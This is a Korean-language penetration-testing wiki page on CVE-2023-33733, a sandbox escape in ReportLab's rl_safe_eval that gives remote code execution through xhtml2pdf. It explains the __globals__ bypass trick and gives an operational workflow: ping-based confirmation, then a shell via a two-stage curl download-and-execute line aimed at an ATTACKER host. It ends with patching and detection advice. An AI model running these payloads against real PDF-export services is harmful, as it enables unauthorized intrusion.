# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) {{#include ../../../banners/hacktricks-training.md}} 이 페이지는 ReportLab의 rl_safe_eval에서 발생하는 실용적인 샌드박스 이스케이프 및 RCE 원시(primitive)를 문서화합니다. 해당 취약점은 xhtml2pdf 및 사용자 제어 HTML을 PDF로 렌더링하는 다른 PDF 생성 파이프라인에서 사용될 때 악용될 수 있습니다. CVE-2023-33733은 ReportLab 3.6.12 이하 버전에 영향을 줍니다. 특정 속성 문맥(예: color)에서 [[[ ... ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가됩니다. whitelisted 된 builtin(pov 같은)에서 Python 함수의 globals로 피벗하는 페이로드를 조작하면 공격자는 os 모듈에 도달해 명령을 실행할 수 있습니다. 핵심 사항 - Trigger: ReportLab/xhtml2pdf에 의해 파싱되는 마크업 내 같은 평가되는 속성에 [[[ ... ]]]를 주입. - Sandbox: rl_safe_eval은 위험한 builtins를 대체하지만 평가된 함수들은 여전히 __globals__를 노출. - Bypass: rl_safe_eval의 이름 검사(name checks)를 우회하고 차단된 dunder 필터링을 피하면서 "__globals__" 문자열에 접근하기 위해 일시적인 클래스 Word를 조작. - RCE: getattr(pow, Word("__globals__"))["os"].system("") - 안정성: 실행 후 속성에 대해 유효한 값을 반환하도록 함(예: color의 경우 and 'red'). 언제 테스트할지 - HTML-to-PDF 내보내기(프로필, 인보이스, 리포트 등)를 노출하고 PDF 메타데이터 또는 HTTP 응답 주석에 xhtml2pdf/ReportLab이 표시되는 애플리케이션. - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer - PDF에 대한 HTTP 응답은 종종 ReportLab generator 주석으로 시작함 샌드박스 우회 방식 - rl_safe_eval은 많은 builtins(getattr, type, pow, ...)을 제거하거나 대체하고, 이름이 __로 시작하거나 denylist에 있는 속성들에 대해 필터링을 적용함. - 그러나 안전한 함수들은 func.__globals__로 접근 가능한 globals 사전 안에 존재함. - type(type(1))을 사용하여 실제 builtin type 함수를 복구(ReportLab의 래퍼를 우회)한 뒤, 비교 동작을 변형한 str에서 파생된 Word 클래스를 정의하여: - .startswith('__') → 항상 False (startswith('__') 검사 우회) - .__eq__는 첫 비교에서는 False만 반환하고 이후에는 True 반환(denylist 멤버십 검사 우회, 이후 Python getattr 작동) - .__hash__는 hash(str(self))와 동일 - 이렇게 하면 getattr(pow, Word('__globals__'))는 래핑된 pow 함수의 globals dict를 반환하고, 여기에는 import된 os 모듈이 포함됨. 그 다음: ['os'].system(''). 최소한의 악용 패턴(속성 예시) 평가되는 속성 내부에 페이로드를 넣고 boolean 연산과 'red'를 통해 유효한 속성 값을 반환하도록 보장. exploit - 리스트 컴프리헨션 형태는 rl_safe_eval에 허용되는 단일 표현식을 가능하게 함. - 끝의 and 'red'는 유효한 CSS 색상을 반환하여 렌더링이 깨지지 않게 함. - 명령은 필요에 따라 교체; tcpdump로 실행을 확인하기 위해 ping 사용. 운영 워크플로우 1) PDF 생성기 식별 - PDF Producer가 xhtml2pdf를 표시하거나 HTTP 응답에 ReportLab 주석이 포함되어 있는지 확인. 2) PDF에 반영되는 입력 찾기(예: 프로필 bio/description) 및 내보내기 트리거. 3) 저소음 ICMP로 실행 확인 - 실행: sudo tcpdump -ni icmp - 페이로드: ... system('ping ') ... - Windows는 기본적으로 정확히 네 번의 echo 요청을 보내는 경우가 많음. 4) 셸 확보 - Windows의 경우 인용 및 인코딩 문제를 피하기 위해 신뢰할 수 있는 2단계 접근법 권장: - Stage 1 (다운로드): exploit - Stage 2 (실행): exploit - Linux 대상의 경우 curl/wget을 이용한 유사한 2단계 가능: - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') 노트 및 팁 - 속성 문맥: color는 평가되는 속성으로 알려져 있음; ReportLab 마크업의 다른 속성들도 표현식을 평가할 수 있음. 한 위치가 필터링된다면 PDF 흐름에 렌더되는 다른 위치들(다른 필드, 테이블 스타일 등)을 시도해 보라. - 인용(quoting): 명령을 간결하게 유지. 2단계 다운로드는 인용과 이스케이프 문제를 크게 줄여줌. - 신뢰성: 내보내기가 캐시되거나 큐잉되는 경우 페이로드를 약간 변경(예: 랜덤 경로나 쿼리 추가)하여 캐시 적중을 피함. 완화 및 탐지 - ReportLab을 3.6.13 이상으로 업그레이드 (CVE-2023-33733 수정됨). 배포판 패키지의 보안 권고도 모니터링. - 사용자 제어 HTML/마크업을 xhtml2pdf/ReportLab에 직접 전달하지 말고 엄격한 sanitization 적용. 신뢰할 수 없는 입력에서 [[[...]]] 평가 구문과 벤더 전용 태그를 제거/거부. - 신뢰할 수 없는 입력에 대해 rl_safe_eval 사용을 비활성화하거나 래핑하는 것을 고려. - PDF 생성 중 의심스러운 아웃바운드 연결(예: 문서 내보내기 시 앱 서버에서의 ICMP/HTTP)을 모니터링. References - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) - NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) - xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) {{#include ../../../banners/hacktricks-training.md}}